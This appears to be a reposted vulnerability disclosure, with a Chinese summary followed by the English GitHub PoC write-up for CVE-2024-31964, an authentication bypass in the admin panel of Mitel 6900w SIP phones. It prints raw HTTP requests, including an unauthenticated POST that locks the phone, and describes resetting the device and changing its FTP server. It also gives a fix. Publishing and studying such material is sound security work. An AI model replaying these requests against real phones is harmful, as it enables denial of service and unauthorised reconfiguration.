Mitel 6900w Series SIP Phone Temporary Authentication Bypass Vulnerability

漏洞信息

漏洞名称： Mitel 6900w Series SIP Phone Temporary Authentication Bypass Vulnerability

漏洞编号：

  • CVE： CVE-2024-31964

漏洞类型： 权限绕过

漏洞等级： 高危

漏洞描述： Mitel 6900w系列SIP电话存在一个临时的认证绕过漏洞，影响其HTTP管理网站面板。该漏洞允许攻击者在特定条件下无需认证即可修改设备配置，执行拒绝服务攻击等操作。

受影响产品: Mitel 6900w系列SIP电话是企业级通信设备，广泛用于办公环境，支持VoIP通信。这些设备通过HTTP管理网站面板进行配置和管理，是管理员进行设备设置和维护的重要接口。

漏洞解释: 该漏洞属于权限绕过类型，技术根源在于HTTP管理网站面板对POST请求的认证机制存在缺陷。具体而言，当合法用户从某一IP地址登录后，攻击者若在同一IP地址下，可在约8分钟的时间窗口内，无需提供认证信息即可发送POST请求，执行如修改密码、锁定设备、重启设备等操作。这种认证机制的缺陷源于会话管理过于依赖源IP地址，而非更安全的会话令牌或cookie机制。

影响分析: 此漏洞的安全风险较高，攻击者可利用此漏洞进行设备配置的未授权修改，导致服务中断或设备被恶意控制。虽然攻击需要与合法用户共享同一IP地址的条件限制了漏洞的广泛利用，但在共享计算机或通过同一代理服务器访问的场景下，攻击的可能性增加。此外，由于攻击者可在未认证的情况下执行敏感操作，如设备重启或配置修改，这对企业通信安全和业务连续性构成威胁。

产品厂商： Mitel

产品名称： Mitel 6900w Series SIP Phone

影响版本： firmware 6.3.2.85

来源： https://github.com/d-Raco/CVE-2024-31964

类型： CVE-2024:github search

仓库文件

  • LICENSE
  • README.md
  • imgs

来源概述

CVE-2024-31964

CVE-2024-31964 PoC: Mitel 6900w Series SIP Phone - Temporary Authentication Bypass

Vulnerability details

Summary

It consists of a temporary authentication bypass vulnerability in the HTTP administrative website panel of several Mitel Products.

Impact

Allows an attacker to modify the device configuration, and perform denial of service attacks against the affected device.

Previous requirements

A user must have successfully logged in minutes before, and from the same source IP as the attacker.

CVSS

Proposed CVSS:

  • CVSS v4.0 score: 7.2
  • CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:H/SC:L/SI:L/SA:H

References

Advisory: Mitel Product Security Advisory 24-0007

Testing environment

This CVE was found while auditing 3 SIP Phones with the following properties (this CVE was successfully tested against these 3 device models):

According to Mitel’s advisory, it affects more products, but I did not have access to any of them to verify it.

Proof of Concept

Generally, in order to access any Mitel control/management web panel resource, it is necessary to make requests with the “Authorization” header, which establishes the credentials of the user trying to access.

Example of authenticated request:

0-authenticated_request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

In case this header is not set, we get an “Unauthorized” error, and we are asked to authenticate, requiring the credentials.

Unauthorized GET request:

1-unauthenticated_request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html

<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...

However, it turns out that all POST requests from the application can be made without setting the Authorization header, i.e. as an unauthenticated user, provided that a legitimate user has previously logged in from the same source IP as the attacker, and for a limited time (it has been measured that the time window is approximately 8 minutes). That is, if a legitimate user logs into the device’s management website, there is a window of about 8 minutes during which an attacker with the same IP as the logged-in user could make unauthenticated POST requests, without needing to know the credentials. The vulnerability is quite restrictive because of the requirement to share the IP with a legitimate user, but in cases where a PC is shared, or computers are accessed through the same proxy server, the possibilities of exploitation would be higher.

By means of POST requests it is possible to change user passwords (requires prior knowledge of the password), lock/unlock the device, reset the device, upload CSV files of contacts, configure the configuration server, etc.

For example, if we try to lock the device without the Authorization header, we see that the device is effectively blocked, denying its service to the user, and we can also reboot the phone, temporarily denying the service altogether. As a quick test, we have also effectively modified the speed-dial keys and the configuration server.

Example of unauthenticated phonelock request:

2-unauthenticated_lock

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear

Successful unauthenticated response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright &copy; 2023 Mitel Networks Corporation</span><span class='support'><a href='support'>Servicio de soporte técnico</a></span></div></div></body></html>

Additionally, we can request a device reset:

3-unauthenticated_reset

And use ping to verify the temporal loss of connectivity:

4-ping_unauthenticated_reset

We can change most parameters… For example, the FTP server:

5-unauthenticated_ftp_mod
6-unauthenticated_ftp_mod_changed

Solution

The Authorization header should always be required and validated, and/or the session should be managed with cookies, not source IPs.

Github Poc
#CVE-2024:github search #权限绕过
Mitel 6900w Series SIP Phone Temporary Authentication Bypass Vulnerability
http://example.com/2025/07/06/github_2750909460/
作者
lianccc
发布于
2025年7月6日
许可协议